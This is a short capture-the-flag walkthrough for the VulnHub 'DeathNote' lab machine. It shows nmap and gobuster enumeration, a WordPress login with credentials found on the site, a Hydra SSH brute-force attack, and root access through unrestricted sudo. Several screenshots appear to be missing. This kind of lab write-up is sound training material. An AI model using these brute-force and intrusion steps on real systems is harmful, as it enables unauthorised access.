VulnHub: DeathNote: 1
Today we will take a look at Vulnhub: DeathNote. My goal in sharing this writeup is to show you the way if you are in trouble. Please try to understand each step and take notes.

- Network scan
Command: Command: sudo nmap -p- -sV -sC -oN nmap/open — open 192.168.0.109

- Web pages
If there is such a problem when looking at the page, do it

Command: sudo nano /etc/hosts

Result

Let’s take notes of everything you need on the page. (name, weird sentence, everything we will use)
kira
light yagami
Soichiro Yagami
If we press the hint button, we will come across a sentence.

L’s comment is below. let’s note
my fav line is
iamjustic3
- Gobuster
Find Site Directories
Command: Command: gobuster dir -u http://192.168.0.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt

Let’s look at the robots.txt extension

We found a new directory.

.jpg file may be damaged. Let’s download.
Command: wget http://deathnote.vuln/important.jpg
Command: cat important.jpg

Indicates that the password will be in the Indian button on the site. So the password is ‘iamjustic3’
The entry can also be ‘kira’ or ‘l’. Let’s check.
- Wordpress
Url- http://deathnote.vuln/wordpress/wp-login.php
user: kira pass: iamjustic3
There is such a .txt file on the media page.

Url- http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt

They look like a password. Let’s mark it as pass.txt.
Let’s add them to User.txt.
kira
l
light
Soichiro
Let’s attack ssh.
- Hydra
Command: hydra -L user.txt -P pass.txt ssh://192.168.0.109 -V -t 4

user- l pass- death4me
- Ssh
Command: ssh l@192.168.0.109

it was brainfuck
Let’s decode

The /opt folder also has hints that will be useful to us

Let’s decode

- Kira
Command: su kira

Let’s decode in cyberchef again

Let’s look at the / var folder
Command: cd /var
Commdn: cat misa
it is toooo late for misa
let’s check the privileges
Command: sudo -l
(ALL : ALL) ALL
This means that we have authority over everything. Let’s root
Command: sudo su

And now we are the root

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